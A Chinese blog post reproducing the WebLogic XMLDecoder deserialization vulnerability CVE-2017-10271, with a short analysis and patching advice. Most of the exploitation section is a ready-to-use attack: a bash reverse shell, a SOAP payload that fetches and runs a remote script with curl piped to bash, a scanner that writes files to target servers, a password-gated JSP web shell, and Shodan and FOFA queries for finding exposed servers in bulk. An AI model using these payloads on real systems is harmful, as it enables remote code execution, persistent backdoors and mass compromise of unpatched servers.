WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)复现
WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)
-----by backlion
0x01漏洞说明
近日,黑客利用WebLogic 反序列化漏洞CVE-2017-3248和WebLogic WLS LS组件的远程代码执行漏洞CVE-2017-10271,Oracle官方在2017年10月份发布了该漏洞的补丁,但没有公开漏洞细节,如果企业未及时安装补丁,存在被攻击的风险。对企业服务器发起了大范围远程攻击,对大量企业的服务器造成了严重威胁,受影响版本:10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0, 12.2.1.2.0
0x02 攻击说明
攻击者选定要攻击的目标主机后,将首先利用漏洞CVE-2017-3248进行攻击,无论是否成功,都将再利用CVE-2017-10271进行攻击。在每一次的攻击过程中,都是先针对Windows系统,再针对Linux系统。具体攻击流程如下:
1、利用 WebLogic 反序列化漏洞(CVE-2017-3248)调用 Linux 中的wget 下载shell脚本并调用Linux本地“/bin/bash”执行shell脚本。(shell脚本内容内定义了从远端下载执行watch-smartd挖矿程序控制细节)
2、 利用 WebLogic 反序列化漏洞(CVE-2017-3248)调用 Windows 中的PowerShell进行样本下载和运行。
3、 利用 WebLogic WLS 组件漏洞(CVE-2017-10271)调用 Linux 中的wget 下载shell脚本并调用Linux本地“/bin/bash”执行shell脚本。
4、 利用 WebLogic WLS 组件漏洞(CVE-2017-10271)调用 Windows 中的 powershell 进行样本下载和恶意代码执行。
5、在此次的攻击事件中,CVE-2017-3248利用不成功,CVE-2017-10271则利用成功,从而导致了服务器被攻击者攻陷,进而在系统日志中留下了痕迹。
0x03分析利用
此次漏洞出现在wls-wsat.war中,此组件使用了weblogic自带的webservices处理程序来处理SOAP请求首先在weblogic.wsee.jaxws.workcontext.WorkContextServerTube类中获取XML数据最终传递给XMLDecoder来解析,其解析XML的调用链为
weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest
weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld
weblogic.wsee.workarea.WorkContextXmlInputAdapter
首先看到
weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest方法
获取到localHeader1后传递给readHeaderOld方法,其内容为<work:WorkContext>所包裹的数据,然后继续跟进
weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld方法
在此方法中实例化了WorkContextXmlInputAdapter类,并且将获取到的XML格式的序列化数据传递到此类的构造方法中,最后通过XMLDecoder来进行反序列化操作。
关于XMLDecoder的反序化问题13年就已经被人发现,近期再次被利用到Weblogic中由此可见JAVA生态圈中的安全问题是多么糟糕。值得一提的是此次漏洞出现了两处CVE编号,因为在Oracle官方在修复CVE-2017-3506所提供的patch只是简单的检查了XML中是否包含了<object>节点,然后将<object>换为<void>即可绕过此补丁。因此在修复过程中用户一定要使用Oracle官方十月份所提供的patch。
0x04 漏洞复现
所需环境
vps服务器:ubuntu16.4 ip:x.x.x.x
所需软件:burpusit
一般情况下weblogic会开放7001以及7002端口
如果访问/wls-wsat/CoordinatorPortType11目录,存在下图则说明或许存在漏洞
http://11.203.x.x/wls-wsat/CoordinatorPortType
首先在你的外网服务器上安装python2.7
sudo apt-get install python2.7
然后在你的外网vps服务器上,利用vim编写一个反弹脚本如a.sh(填写自己的服务器ip和将要用nc监听的端口)
bash -i >& /dev/tcp/vpsip/ncport 0>&1
或者
/bin/bash -i >& /dev/vpsip/ncport 0>&1
用xshell连接服务器,执行(python服务器端口和nc的端口可以自己随便来设置)
python -m SimpleHTTPServer pythonport 和 nc -lvp ncport
执行后就可以 用poc进行测试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 | POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 11.203.x.x Accept-Encoding: identity Content-Length: 695 Accept-Language: zh-CN,zh;q=0.8 Accept: */* User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3 Connection: keep-alive Cache-Control: max-age=0 Content-Type: text/xml <soapenv:Envelope xmlns:soapenv= "http://schemas.xmlsoap.org/soap/envelope/" > <soapenv:Header> <work:WorkContext xmlns:work= "http://bea.com/2004/06/soap/workarea/" > <java version= "1.8.0_131" class = "java.beans.XMLDecoder" > < void class = "java.lang.ProcessBuilder" > <array class = "java.lang.String" length= "3" > < void index= "0" > < string >/bin/bash</ string > </ void > < void index= "1" > < string >-c</ string > </ void > < void index= "2" > < string >curl http: //x.x.x.x:81/a.sh|bash</string> </ void > </array> < void method= "start" /></ void > </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope> |
将以上代码复制到burpsuit中的repeater中,注意代码中的Host: 11.203.x.x需要改成你所要攻击的目标对象,并且target的hsot和port也要根据目标地址和端口
其中的
<void index="2">
<string>curl http://x.x.x.x:81/a.sh|bash</string>
</void>
也需要实际改
然后进行执行repeater的go
服务器返回
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | HTTP/1.1 500 Internal Server Error Connection: close Date: Sat, 23 Dec 2017 05:16:01 GMT Content-Type: text/xml; charset=utf-8 X-Powered-By: Servlet/2.5 JSP/2.1 Content-Length: 262 <?xml version= '1.0' encoding= 'UTF-8' ?><S:Envelope xmlns:S= "http://schemas.xmlsoap.org/soap/envelope/" ><S:Body><S:Fault xmlns:ns4= "http://www.w3.org/2003/05/soap-envelope" ><faultcode>S:Server</faultcode><faultstring>0</faultstring></S:Fault></S:Body></S:Envelope> |
随后你就会在自己的vps上得到一个反弹shell
这样就OK了,如果你要拿到shell的话
直接cd到servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/目录,此为系统默认目录,然后可以在poc上wget一个jsp脚本,然后使用mv命令进行移动到此目录,最重要的你用菜刀连接的话,不是连接的此目录,而是/bea_wls_internal/目录下的脚本文件
附上poc检查脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 | # coding:utf-8 # !/bin/env python2 import requests import re import sys from requests.packages.urllib3.exceptions import InsecureRequestWarning # 禁用安全请求警告 requests.packages.urllib3.disable_warnings(InsecureRequestWarning) # 判断weblogic漏洞是否存在的地址,因没有poc,暂时只能判断这个地址 check_addr = '/wls-wsat/CoordinatorPortType11' shell_addr = '/bea_wls_internal/connect.jsp' heads = { 'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36' , 'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' , 'Accept-Language' : 'zh-CN,zh;q=0.8' , 'SOAPAction' : "" , 'Content-Type' : 'text/xml;charset=UTF-8' } post_str = '' ' <soapenv:Envelope xmlns:soapenv= "http://schemas.xmlsoap.org/soap/envelope/" > <soapenv:Header> <work:WorkContext xmlns:work= "http://bea.com/2004/06/soap/workarea/" > <java> < object class = "java.lang.ProcessBuilder" > <array class = "java.lang.String" length= "3" > < void index= "0" > < string >/bin/sh</ string > </ void > < void index= "1" > < string >-c</ string > </ void > < void index= "2" > < string >find $DOMAIN_HOME -type d -name bea_wls_internal| while read f; do find $f -type f -name index.html;done| while read ff; do echo vulexist>$(dirname $ff)/connect.jsp;done</ string > </ void > </array> < void method= "start" /> </ object > </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope> '' ' def check(url): #print("正在检测第%d个url:%s" % (status_num,url)) vuln_url = url + check_addr content = requests. get (vuln_url, verify=False, timeout=10) if content.status_code == 200: rsp = requests.post(vuln_url, headers=heads, data=post_str.encode( "utf-8" ), verify=False, timeout=10) content = rsp.content if re.search(r "java\.lang\.ProcessBuilder" , content, re.I): # print "getshell success,shell is:%s"%(url+shell_addr) string_to_write = "Congratulations! weblogic 远程命令执行漏洞存在:\n" + url + shell_addr + "\n" print string_to_write else : print "失败" else : print(content.status_code) # 判断漏洞是否存在 # target = sys.argv[1] target = "https://x.x.x.com" print( "checking weblogic vul for " +target) check(target) # 传入的target是http://www.baidu.com格式(不带端口 ) |
0x04 漏洞修复建议
1.临时解决方案
根据攻击者利用POC分析发现所利用的为wls-wsat组件的CoordinatorPortType接口,若Weblogic服务器集群中未应用此组件,建议临时备份后将此组件删除,当形成防护能力后,再进行恢复。
根据实际环境路径,删除WebLogic wls-wsat组件:
rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
重启Weblogic域控制器服务:
DOMAIN_NAME/bin/stopWeblogic.sh #停止服务
DOMAIN_NAME/bin/startManagedWebLogic.sh #启动服务
删除以上文件之后,需重启WebLogic。确认http://weblogic_ip/wls-wsat/ 是否为404页面。
2.官方补丁修复
前往Oracle官网下载10月份所提供的安全补丁
http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html
升级过程可参考:
http://blog.csdn.net/qqlifu/article/details/49423839
3.在线检查工具
http://adlab.venustech.com.cn/vulscan
https://cloud.nsfocus.com/#/krosa/views/initcdr/productandservice?page_id=12
---------------------------------------------------------------------------------------------
经验总结:
linux下的监听的端口可以供多个IP轮换连接,不用再更改监听端口。
一般在当前域下的:
servers/AdminServer/tmp/_WL_internal/下:
该目录下可以上传war包,也可以进入到:
bea_wls9_async_response,bea_wls_internal 和uddiexplorer 等目录下的war目录中上传脚本木马
如:servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/bk.jps
对应的访问URL地址:
http://x.x.x.x:7001/bea_wls_internal/a.jsp
附上直接写入jsp小马:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | POST http: //163.177.*.*:7001/wls-wsat/CoordinatorPortType HTTP/1.1 Accept: */* User-Agent: Mozilla/5.0 Referer: http: //www.baidu.com/ Content-Type: text/xml Host: 163.177.*.*:7001 Content-Length: 521 Expect: 100- continue Connection: Keep-Alive <soapenv:Envelope xmlns:soapenv= "http://schemas.xmlsoap.org/soap/envelope/" > <soapenv:Header> <work:WorkContext xmlns:work= "http://bea.com/2004/06/soap/workarea/" > <java><java version= "1.4.0" class = "java.beans.XMLDecoder" > < object class = "java.io.PrintWriter" > < string >servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/a.jsp</ string >< void method= "println" > < string ><![CDATA[<% if ( "023" . equals (request.getParameter( "pwd" ))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter( "i" )).getInputStream(); int a = -1; byte [] b = new byte [2048]; out .print( "<pre>" ); while ((a= in .read(b))!=-1){ out .println( new String(b)); } out .print( "</pre>" );} %>]]></ string ></ void >< void method= "close" /> </ object > </java> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> |
1 2 3 4 5 6 7 8 9 10 11 | POST http: //163.177.*.*:7001/wls-wsat/CoordinatorPortType HTTP/1.1 Accept: */* User-Agent: Mozilla/5.0 Referer: http: //www.baidu.com/ Content-Type: text/xml Host: 163.177.*.*:7001 Content-Length: 521 Expect: 100- continue Connection: Keep-Alive <soapenv:Envelope xmlns:soapenv= "http://schemas.xmlsoap.org/soap/envelope/" ><soapenv:Header><work:WorkContext xmlns:work= "http://bea.com/2004/06/soap/workarea/" ><java><java version= "1.4.0" class = "java.beans.XMLDecoder" >< object class = "java.io.PrintWriter" > < string >servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/bk.txt</ string >< void method= "println" >< string >thisi is a xmldecoder_vul_test!</ string ></ void >< void method= "close" /></ object ></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope> |
批量扫描weblgic服务:
1.谷歌搜索关键字“weblogic server administration console inurl:console”
2.利用shodan搜索关键字:port:7001 port:7002
3.利用fofa搜索关键字:weblogic
4.IISPU批量扫描带有标识为“WebLogic Server"
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构